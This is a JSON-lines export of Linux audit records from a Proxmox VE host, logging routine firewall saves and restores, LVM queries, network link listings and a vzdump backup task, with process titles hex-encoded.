type=PROCTITLE msg=audit(1781965038.236:63737): proctitle=7461736B20555049443A7076653A30303030454544443A30303136394235413A36413336413045453A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965515100,"@rawstring":"node=pve type=PATH msg=audit(1781965515.100:65932): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038226,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.226:63736): proctitle=7461736B20555049443A7076653A30303030454544443A30303136394235413A36413336413045453A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965515093,"@rawstring":"node=pve type=PATH msg=audit(1781965515.093:65931): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038226,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.226:63735): proctitle=7461736B20555049443A7076653A30303030454544443A30303136394235413A36413336413045453A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965515093,"@rawstring":"node=pve type=PATH msg=audit(1781965515.093:65931): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036566,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.566:63734): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965515093,"@rawstring":"node=pve type=PATH msg=audit(1781965515.093:65931): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036566,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.566:63733): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965515080,"@rawstring":"node=pve type=PATH msg=audit(1781965515.080:65930): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036566,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.566:63732): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965515080,"@rawstring":"node=pve type=PATH msg=audit(1781965515.080:65930): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.558:63731): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965515070,"@rawstring":"node=pve type=PATH msg=audit(1781965515.070:65929): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.558:63730): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965515070,"@rawstring":"node=pve type=PATH msg=audit(1781965515.070:65929): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.558:63729): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965515064,"@rawstring":"node=pve type=PATH msg=audit(1781965515.064:65928): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036037,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.037:63728): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965515064,"@rawstring":"node=pve type=PATH msg=audit(1781965515.064:65928): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036034,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.034:63727): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965515054,"@rawstring":"node=pve type=PATH msg=audit(1781965515.054:65927): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.033:63726): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965515054,"@rawstring":"node=pve type=PATH msg=audit(1781965515.054:65927): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.033:63725): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965515038,"@rawstring":"node=pve type=PATH msg=audit(1781965515.038:65926): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.029:63724): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965515038,"@rawstring":"node=pve type=PATH msg=audit(1781965515.038:65926): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036021,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.021:63723): proctitle=\"ip6tables-save\""} {"@timestamp":1781965514252,"@rawstring":"node=pve type=PATH msg=audit(1781965514.252:65925): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036013,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.013:63722): proctitle=\"iptables-save\""} {"@timestamp":1781965514252,"@rawstring":"node=pve type=PATH msg=audit(1781965514.252:65925): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036004,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965036.004:63721): proctitle=\"ip6tables-save\""} {"@timestamp":1781965514229,"@rawstring":"node=pve type=PATH msg=audit(1781965514.229:65924): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035997,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.997:63720): proctitle=\"iptables-save\""} {"@timestamp":1781965514229,"@rawstring":"node=pve type=PATH msg=audit(1781965514.229:65924): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035993,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.993:63719): proctitle=\"ebtables-restore\""} {"@timestamp":1781965513292,"@rawstring":"node=pve type=PATH msg=audit(1781965513.292:65923): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035990,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.990:63718): proctitle=\"ebtables-restore\""} {"@timestamp":1781965513292,"@rawstring":"node=pve type=PATH msg=audit(1781965513.292:65923): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035984,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.984:63717): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965513292,"@rawstring":"node=pve type=PATH msg=audit(1781965513.292:65922): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035978,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.978:63716): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965513292,"@rawstring":"node=pve type=PATH msg=audit(1781965513.292:65921): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035970,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.970:63715): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965513280,"@rawstring":"node=pve type=PATH msg=audit(1781965513.280:65920): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.963:63714): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965513280,"@rawstring":"node=pve type=PATH msg=audit(1781965513.280:65920): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.958:63713): proctitle=697073657400726573746F7265"} {"@timestamp":1781965513280,"@rawstring":"node=pve type=PATH msg=audit(1781965513.280:65919): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035944,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.944:63712): proctitle=\"ip6tables-save\""} {"@timestamp":1781965513279,"@rawstring":"node=pve type=PATH msg=audit(1781965513.279:65918): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.936:63711): proctitle=\"iptables-save\""} {"@timestamp":1781965508271,"@rawstring":"node=pve type=PATH msg=audit(1781965508.271:65917): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035933,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.933:63710): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965508271,"@rawstring":"node=pve type=PATH msg=audit(1781965508.271:65917): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035929,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.929:63709): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965508270,"@rawstring":"node=pve type=PATH msg=audit(1781965508.270:65916): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035928,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.928:63708): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965508270,"@rawstring":"node=pve type=PATH msg=audit(1781965508.270:65915): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035927,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.927:63707): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965508263,"@rawstring":"node=pve type=PATH msg=audit(1781965508.263:65914): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035924,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.924:63706): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965508263,"@rawstring":"node=pve type=PATH msg=audit(1781965508.263:65914): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035916,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.916:63705): proctitle=\"ip6tables-save\""} {"@timestamp":1781965508263,"@rawstring":"node=pve type=PATH msg=audit(1781965508.263:65913): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035910,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.910:63704): proctitle=\"iptables-save\""} {"@timestamp":1781965508263,"@rawstring":"node=pve type=PATH msg=audit(1781965508.263:65912): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035905,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.905:63703): proctitle=69707365740073617665"} {"@timestamp":1781965506024,"@rawstring":"node=pve type=PATH msg=audit(1781965506.024:65911): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.898:63702): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965506024,"@rawstring":"node=pve type=PATH msg=audit(1781965506.024:65911): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035892,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965035.892:63701): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965506017,"@rawstring":"node=pve type=PATH msg=audit(1781965506.017:65910): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965034453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965034.453:63700): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965506017,"@rawstring":"node=pve type=PATH msg=audit(1781965506.017:65910): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965034418,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965034.418:63699): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965506015,"@rawstring":"node=pve type=PATH msg=audit(1781965506.015:65909): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031553,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965031.553:63698): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965506015,"@rawstring":"node=pve type=PATH msg=audit(1781965506.015:65909): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031553,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965031.553:63697): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965506015,"@rawstring":"node=pve type=PATH msg=audit(1781965506.015:65908): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031553,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965031.553:63696): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965506003,"@rawstring":"node=pve type=PATH msg=audit(1781965506.003:65907): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031548,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965031.548:63695): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965506003,"@rawstring":"node=pve type=PATH msg=audit(1781965506.003:65907): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031548,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965031.548:63694): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965506003,"@rawstring":"node=pve type=PATH msg=audit(1781965506.003:65907): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031548,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965031.548:63693): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965505988,"@rawstring":"node=pve type=PATH msg=audit(1781965505.988:65906): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965026.540:63692): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965505988,"@rawstring":"node=pve type=PATH msg=audit(1781965505.988:65906): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965026.540:63691): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965505979,"@rawstring":"node=pve type=PATH msg=audit(1781965505.979:65905): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965026.540:63690): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965505979,"@rawstring":"node=pve type=PATH msg=audit(1781965505.979:65905): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965026.533:63689): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965505962,"@rawstring":"node=pve type=PATH msg=audit(1781965505.962:65904): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965026.533:63688): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965505962,"@rawstring":"node=pve type=PATH msg=audit(1781965505.962:65904): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965026.533:63687): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965505947,"@rawstring":"node=pve type=PATH msg=audit(1781965505.947:65903): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025880,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.880:63686): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965505947,"@rawstring":"node=pve type=PATH msg=audit(1781965505.947:65903): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025876,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.876:63685): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965505936,"@rawstring":"node=pve type=PATH msg=audit(1781965505.936:65901): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025874,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.874:63684): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965505936,"@rawstring":"node=pve type=PATH msg=audit(1781965505.936:65901): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025874,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.874:63683): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965505930,"@rawstring":"node=pve type=PATH msg=audit(1781965505.930:65900): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025870,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.870:63682): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965505930,"@rawstring":"node=pve type=PATH msg=audit(1781965505.930:65900): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.864:63681): proctitle=\"ip6tables-save\""} {"@timestamp":1781965505921,"@rawstring":"node=pve type=PATH msg=audit(1781965505.921:65899): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.858:63680): proctitle=\"iptables-save\""} {"@timestamp":1781965505921,"@rawstring":"node=pve type=PATH msg=audit(1781965505.921:65899): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025851,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.851:63679): proctitle=\"ip6tables-save\""} {"@timestamp":1781965505912,"@rawstring":"node=pve type=PATH msg=audit(1781965505.912:65898): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025844,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.844:63678): proctitle=\"iptables-save\""} {"@timestamp":1781965505912,"@rawstring":"node=pve type=PATH msg=audit(1781965505.912:65898): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 